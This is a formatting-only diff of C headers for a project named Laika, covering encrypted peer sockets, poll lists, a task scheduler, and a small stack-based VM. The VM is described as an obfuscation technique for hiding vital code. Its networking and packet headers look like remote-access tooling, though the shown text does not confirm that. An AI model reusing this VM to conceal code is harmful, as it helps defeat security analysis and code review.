||||
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl,
|
||||
struct sLaika_pollList *pList, pollFailEvent onPollFail,
|
||||
void *onPollFailUData, void *uData);
|
||||
void laikaS_freePeer(struct sLaika_peer *peer);
|
||||
|
||||
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
|
||||
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); /* for sending packets with no body */
|
||||
void laikaS_emptyOutPacket(struct sLaika_peer *peer,
|
||||
LAIKAPKT_ID id); /* for sending packets with no body */
|
||||
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
|
||||
int laikaS_endOutPacket(struct sLaika_peer *peer);
|
||||
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
|
||||
|
@@ -1,22 +1,24 @@
|
||||
#ifndef LAIKA_POLLLIST_H
|
||||
#define LAIKA_POLLLIST_H
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "hashmap.h"
|
||||
#include "laika.h"
|
||||
#include "lsocket.h"
|
||||
#include "hashmap.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
/* number of pollFDs or epollFDs we expect to start with */
|
||||
#define POLLSTARTCAP 8
|
||||
|
||||
struct sLaika_pollEvent {
|
||||
struct sLaika_pollEvent
|
||||
{
|
||||
struct sLaika_socket *sock;
|
||||
bool pollIn;
|
||||
bool pollOut;
|
||||
};
|
||||
|
||||
struct sLaika_pollList {
|
||||
struct sLaika_pollList
|
||||
{
|
||||
struct hashmap *sockets;
|
||||
struct sLaika_socket **outQueue; /* holds sockets which have data needed to be sent */
|
||||
struct sLaika_pollEvent *revents;
|
||||
|
@@ -4,57 +4,58 @@
|
||||
/* socket/winsock headers */
|
||||
#ifdef _WIN32
|
||||
/* windows */
|
||||
# ifndef NOMINMAX
|
||||
# define NOMINMAX
|
||||
# endif
|
||||
# define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||||
# include <winsock2.h>
|
||||
# include <windows.h>
|
||||
# include <ws2tcpip.h>
|
||||
# pragma comment(lib, "Ws2_32.lib")
|
||||
# ifndef NOMINMAX
|
||||
# define NOMINMAX
|
||||
# endif
|
||||
# define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||||
# include <windows.h>
|
||||
# include <winsock2.h>
|
||||
# include <ws2tcpip.h>
|
||||
# pragma comment(lib, "Ws2_32.lib")
|
||||
|
||||
typedef char buffer_t;
|
||||
# define PollFD WSAPOLLFD
|
||||
# define poll WSAPoll
|
||||
# define LN_ERRNO WSAGetLastError()
|
||||
# define LN_EWOULD WSAEWOULDBLOCK
|
||||
# define LN_MSG_NOSIGNAL 0
|
||||
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
|
||||
# define SOCKETERROR(x) (x == SOCKET_ERROR)
|
||||
typedef char buffer_t;
|
||||
# define PollFD WSAPOLLFD
|
||||
# define poll WSAPoll
|
||||
# define LN_ERRNO WSAGetLastError()
|
||||
# define LN_EWOULD WSAEWOULDBLOCK
|
||||
# define LN_MSG_NOSIGNAL 0
|
||||
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
|
||||
# define SOCKETERROR(x) (x == SOCKET_ERROR)
|
||||
#else
|
||||
/* posix platform */
|
||||
# include <sys/types.h>
|
||||
# include <sys/socket.h>
|
||||
# include <netdb.h>
|
||||
# include <netinet/in.h>
|
||||
# include <arpa/inet.h>
|
||||
# include <poll.h>
|
||||
# ifdef __linux__
|
||||
# include <sys/epoll.h>
|
||||
/* max events for epoll() */
|
||||
# define MAX_EPOLL_EVENTS 128
|
||||
# define LAIKA_USE_EPOLL
|
||||
# endif
|
||||
# include <unistd.h>
|
||||
# include <errno.h>
|
||||
# include <arpa/inet.h>
|
||||
# include <netdb.h>
|
||||
# include <netinet/in.h>
|
||||
# include <poll.h>
|
||||
# include <sys/socket.h>
|
||||
# include <sys/types.h>
|
||||
# ifdef __linux__
|
||||
# include <sys/epoll.h>
|
||||
/* max events for epoll() */
|
||||
# define MAX_EPOLL_EVENTS 128
|
||||
# define LAIKA_USE_EPOLL
|
||||
# endif
|
||||
# include <errno.h>
|
||||
# include <unistd.h>
|
||||
|
||||
typedef int SOCKET;
|
||||
typedef void buffer_t;
|
||||
# define PollFD struct pollfd
|
||||
# define LN_ERRNO errno
|
||||
# define LN_EWOULD EWOULDBLOCK
|
||||
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
|
||||
# define INVALID_SOCKET -1
|
||||
# define SOCKETINVALID(x) (x < 0)
|
||||
# define SOCKETERROR(x) (x == -1)
|
||||
typedef int SOCKET;
|
||||
typedef void buffer_t;
|
||||
# define PollFD struct pollfd
|
||||
# define LN_ERRNO errno
|
||||
# define LN_EWOULD EWOULDBLOCK
|
||||
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
|
||||
# define INVALID_SOCKET -1
|
||||
# define SOCKETINVALID(x) (x < 0)
|
||||
# define SOCKETERROR(x) (x == -1)
|
||||
#endif
|
||||
#include <fcntl.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "laika.h"
|
||||
#include "lsodium.h"
|
||||
|
||||
typedef enum {
|
||||
#include <fcntl.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
typedef enum
|
||||
{
|
||||
RAWSOCK_OK,
|
||||
RAWSOCK_ERROR,
|
||||
RAWSOCK_CLOSED,
|
||||
@@ -64,14 +65,15 @@ typedef enum {
|
||||
typedef bool (*pollEvent)(struct sLaika_socket *sock);
|
||||
typedef void (*pollFailEvent)(struct sLaika_socket *sock, void *uData);
|
||||
|
||||
struct sLaika_socket {
|
||||
struct sLaika_socket
|
||||
{
|
||||
SOCKET sock; /* raw socket fd */
|
||||
pollFailEvent onPollFail;
|
||||
pollEvent onPollIn;
|
||||
pollEvent onPollOut;
|
||||
void *uData; /* passed to onPollFail */
|
||||
void *uData; /* passed to onPollFail */
|
||||
uint8_t *outBuf; /* raw data to be sent() */
|
||||
uint8_t *inBuf; /* raw data we recv()'d */
|
||||
uint8_t *inBuf; /* raw data we recv()'d */
|
||||
int outCount;
|
||||
int inCount;
|
||||
int outCap;
|
||||
@@ -87,24 +89,31 @@ bool laikaS_isBigEndian(void);
|
||||
void laikaS_init(void);
|
||||
void laikaS_cleanUp(void);
|
||||
|
||||
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, pollFailEvent onPollFail, void *uData);
|
||||
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
|
||||
pollFailEvent onPollFail, void *uData);
|
||||
void laikaS_cleanSocket(struct sLaika_socket *sock);
|
||||
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
|
||||
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
|
||||
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */
|
||||
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
|
||||
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
|
||||
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipStr);
|
||||
bool laikaS_setNonBlock(struct sLaika_socket *sock);
|
||||
|
||||
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */
|
||||
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz); /* writes sz NULL bytes to the outBuf */
|
||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
|
||||
void laikaS_consumeRead(struct sLaika_socket *sock,
|
||||
size_t sz); /* throws sz bytes away from the inBuf */
|
||||
void laikaS_zeroWrite(struct sLaika_socket *sock,
|
||||
size_t sz); /* writes sz NULL bytes to the outBuf */
|
||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
|
||||
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
|
||||
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */
|
||||
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
|
||||
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz,
|
||||
uint8_t *pub); /* encrypts & writes from buf using pub key */
|
||||
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
|
||||
uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
|
||||
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
|
||||
uint8_t laikaS_readByte(struct sLaika_socket *sock);
|
||||
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads INT, respecting endianness */
|
||||
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz); /* writes INT, respecting endianness */
|
||||
void laikaS_readInt(struct sLaika_socket *sock, void *buf,
|
||||
size_t sz); /* reads INT, respecting endianness */
|
||||
void laikaS_writeInt(struct sLaika_socket *sock, void *buf,
|
||||
size_t sz); /* writes INT, respecting endianness */
|
||||
|
||||
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
|
||||
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
|
||||
|
@@ -1,13 +1,15 @@
|
||||
#ifndef LAIKA_TASK_H
|
||||
#define LAIKA_TASK_H
|
||||
|
||||
#include <time.h>
|
||||
|
||||
#include "laika.h"
|
||||
|
||||
typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
|
||||
#include <time.h>
|
||||
|
||||
struct sLaika_task {
|
||||
typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task,
|
||||
clock_t currTick, void *uData);
|
||||
|
||||
struct sLaika_task
|
||||
{
|
||||
struct sLaika_task *next;
|
||||
taskCallback callback;
|
||||
void *uData;
|
||||
@@ -15,14 +17,16 @@ struct sLaika_task {
|
||||
int delta;
|
||||
};
|
||||
|
||||
struct sLaika_taskService {
|
||||
struct sLaika_taskService
|
||||
{
|
||||
struct sLaika_task *headTask;
|
||||
};
|
||||
|
||||
void laikaT_initTaskService(struct sLaika_taskService *service);
|
||||
void laikaT_cleanTaskService(struct sLaika_taskService *service);
|
||||
|
||||
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData);
|
||||
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta,
|
||||
taskCallback callback, void *uData);
|
||||
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task);
|
||||
|
||||
void laikaT_pollTasks(struct sLaika_taskService *service);
|
||||
|
@@ -5,50 +5,63 @@
|
||||
This is an obfuscation technique where vital code can be executed in a
|
||||
stack-based VM, inlined into the function. The VM instruction-set is fairly
|
||||
simple, see the OP_* enum for avaliable opcodes and their expected arguments.
|
||||
The VM is turing-complete, however the instruction-set has been curated to
|
||||
The VM is turing-complete, however the instruction-set has been curated to
|
||||
fit this specific use case.
|
||||
*/
|
||||
|
||||
#include <inttypes.h>
|
||||
|
||||
#include "laika.h"
|
||||
#include "lerror.h"
|
||||
|
||||
#include <inttypes.h>
|
||||
|
||||
#define LAIKA_VM_STACKSIZE 64
|
||||
#define LAIKA_VM_CONSTSIZE 32
|
||||
|
||||
struct sLaikaV_vm_val {
|
||||
union {
|
||||
struct sLaikaV_vm_val
|
||||
{
|
||||
union
|
||||
{
|
||||
uint8_t i;
|
||||
uint8_t *ptr;
|
||||
};
|
||||
};
|
||||
|
||||
struct sLaikaV_vm {
|
||||
struct sLaikaV_vm
|
||||
{
|
||||
struct sLaikaV_vm_val stack[LAIKA_VM_STACKSIZE];
|
||||
struct sLaikaV_vm_val constList[LAIKA_VM_CONSTSIZE];
|
||||
uint8_t code[LAIKA_VM_CODESIZE];
|
||||
int pc;
|
||||
};
|
||||
|
||||
#define LAIKA_MAKE_VM(_consts, _code) {.constList = _consts, .code = _code, .pc = 0, .stack = {0}}
|
||||
#define LAIKA_MAKE_VM(_consts, _code) \
|
||||
{ \
|
||||
.constList = _consts, .code = _code, .pc = 0, .stack = { 0 } \
|
||||
}
|
||||
|
||||
/* constants */
|
||||
#define LAIKA_MAKE_VM_INT(_i) {.i = _i}
|
||||
#define LAIKA_MAKE_VM_PTR(_ptr) {.ptr = _ptr}
|
||||
#define LAIKA_MAKE_VM_INT(_i) \
|
||||
{ \
|
||||
.i = _i \
|
||||
}
|
||||
#define LAIKA_MAKE_VM_PTR(_ptr) \
|
||||
{ \
|
||||
.ptr = _ptr \
|
||||
}
|
||||
/* instructions */
|
||||
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
|
||||
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
|
||||
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
|
||||
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
|
||||
#define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c
|
||||
|
||||
enum {
|
||||
enum
|
||||
{
|
||||
OP_EXIT,
|
||||
OP_LOADCONST, /* stk_indx[uint8_t] = const_indx[uint8_t] */
|
||||
OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */
|
||||
OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */
|
||||
OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */
|
||||
OP_INCPTR, /* stk_indx[uint8_t].ptr++ */
|
||||
OP_DECPTR, /* stk_indx[uint8_t].ptr-- */
|
||||
OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */
|
||||
OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */
|
||||
OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */
|
||||
OP_INCPTR, /* stk_indx[uint8_t].ptr++ */
|
||||
OP_DECPTR, /* stk_indx[uint8_t].ptr-- */
|
||||
|
||||
/* arithmetic */
|
||||
OP_ADD, /* stk_indx[uint8_t] = stk_indx[uint8_t] + stk_indx[uint8_t] */
|
||||
@@ -68,83 +81,93 @@ enum {
|
||||
#endif
|
||||
};
|
||||
|
||||
LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm) {
|
||||
LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
|
||||
{
|
||||
|
||||
#define READBYTE (vm->code[vm->pc++])
|
||||
#define BINOP(x) { \
|
||||
uint8_t a = READBYTE; \
|
||||
uint8_t b = READBYTE; \
|
||||
uint8_t c = READBYTE; \
|
||||
vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
|
||||
break; \
|
||||
}
|
||||
#define BINOP(x) \
|
||||
{ \
|
||||
uint8_t a = READBYTE; \
|
||||
uint8_t b = READBYTE; \
|
||||
uint8_t c = READBYTE; \
|
||||
vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
|
||||
break; \
|
||||
}
|
||||
|
||||
while (vm->code[vm->pc]) {
|
||||
switch (vm->code[vm->pc++]) {
|
||||
case OP_LOADCONST: {
|
||||
uint8_t indx = READBYTE;
|
||||
uint8_t constIndx = READBYTE;
|
||||
vm->stack[indx] = vm->constList[constIndx];
|
||||
break;
|
||||
}
|
||||
case OP_PUSHLIT: {
|
||||
uint8_t indx = READBYTE;
|
||||
uint8_t lit = READBYTE;
|
||||
vm->stack[indx].i = lit;
|
||||
break;
|
||||
}
|
||||
case OP_READ: {
|
||||
uint8_t indx = READBYTE;
|
||||
uint8_t ptr = READBYTE;
|
||||
vm->stack[indx].i = *vm->stack[ptr].ptr;
|
||||
break;
|
||||
}
|
||||
case OP_WRITE: {
|
||||
uint8_t ptr = READBYTE;
|
||||
uint8_t indx = READBYTE;
|
||||
*vm->stack[ptr].ptr = vm->stack[indx].i;
|
||||
break;
|
||||
}
|
||||
case OP_INCPTR: {
|
||||
uint8_t ptr = READBYTE;
|
||||
vm->stack[ptr].ptr++;
|
||||
break;
|
||||
}
|
||||
case OP_DECPTR: {
|
||||
uint8_t ptr = READBYTE;
|
||||
vm->stack[ptr].ptr--;
|
||||
break;
|
||||
}
|
||||
case OP_ADD: BINOP(+);
|
||||
case OP_SUB: BINOP(-);
|
||||
case OP_MUL: BINOP(*);
|
||||
case OP_DIV: BINOP(/);
|
||||
case OP_AND: BINOP(&);
|
||||
case OP_OR: BINOP(|);
|
||||
case OP_XOR: BINOP(^);
|
||||
case OP_TESTJMP: {
|
||||
uint8_t indx = READBYTE;
|
||||
int8_t jmp = READBYTE;
|
||||
case OP_LOADCONST: {
|
||||
uint8_t indx = READBYTE;
|
||||
uint8_t constIndx = READBYTE;
|
||||
vm->stack[indx] = vm->constList[constIndx];
|
||||
break;
|
||||
}
|
||||
case OP_PUSHLIT: {
|
||||
uint8_t indx = READBYTE;
|
||||
uint8_t lit = READBYTE;
|
||||
vm->stack[indx].i = lit;
|
||||
break;
|
||||
}
|
||||
case OP_READ: {
|
||||
uint8_t indx = READBYTE;
|
||||
uint8_t ptr = READBYTE;
|
||||
vm->stack[indx].i = *vm->stack[ptr].ptr;
|
||||
break;
|
||||
}
|
||||
case OP_WRITE: {
|
||||
uint8_t ptr = READBYTE;
|
||||
uint8_t indx = READBYTE;
|
||||
*vm->stack[ptr].ptr = vm->stack[indx].i;
|
||||
break;
|
||||
}
|
||||
case OP_INCPTR: {
|
||||
uint8_t ptr = READBYTE;
|
||||
vm->stack[ptr].ptr++;
|
||||
break;
|
||||
}
|
||||
case OP_DECPTR: {
|
||||
uint8_t ptr = READBYTE;
|
||||
vm->stack[ptr].ptr--;
|
||||
break;
|
||||
}
|
||||
case OP_ADD:
|
||||
BINOP(+);
|
||||
case OP_SUB:
|
||||
BINOP(-);
|
||||
case OP_MUL:
|
||||
BINOP(*);
|
||||
case OP_DIV:
|
||||
BINOP(/);
|
||||
case OP_AND:
|
||||
BINOP(&);
|
||||
case OP_OR:
|
||||
BINOP(|);
|
||||
case OP_XOR:
|
||||
BINOP(^);
|
||||
case OP_TESTJMP: {
|
||||
uint8_t indx = READBYTE;
|
||||
int8_t jmp = READBYTE;
|
||||
|
||||
/* if stack indx is true, jump by jmp (signed 8-bit int) */
|
||||
if (vm->stack[indx].i)
|
||||
vm->pc += jmp;
|
||||
/* if stack indx is true, jump by jmp (signed 8-bit int) */
|
||||
if (vm->stack[indx].i)
|
||||
vm->pc += jmp;
|
||||
|
||||
break;
|
||||
}
|
||||
break;
|
||||
}
|
||||
#ifdef DEBUG
|
||||
case OP_DEBUG: {
|
||||
int i;
|
||||
case OP_DEBUG: {
|
||||
int i;
|
||||
|
||||
/* print stack info */
|
||||
for (i = 0; i < LAIKA_VM_STACKSIZE; i++)
|
||||
printf("[%03d] - 0x%02x\n", i, vm->stack[i].i);
|
||||
/* print stack info */
|
||||
for (i = 0; i < LAIKA_VM_STACKSIZE; i++)
|
||||
printf("[%03d] - 0x%02x\n", i, vm->stack[i].i);
|
||||
|
||||
break;
|
||||
}
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
default:
|
||||
LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc], vm->pc);
|
||||
default:
|
||||
LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc],
|
||||
vm->pc);
|
||||
}
|
||||
}
|
||||
|
||||
|
Reference in New Issue
Block a user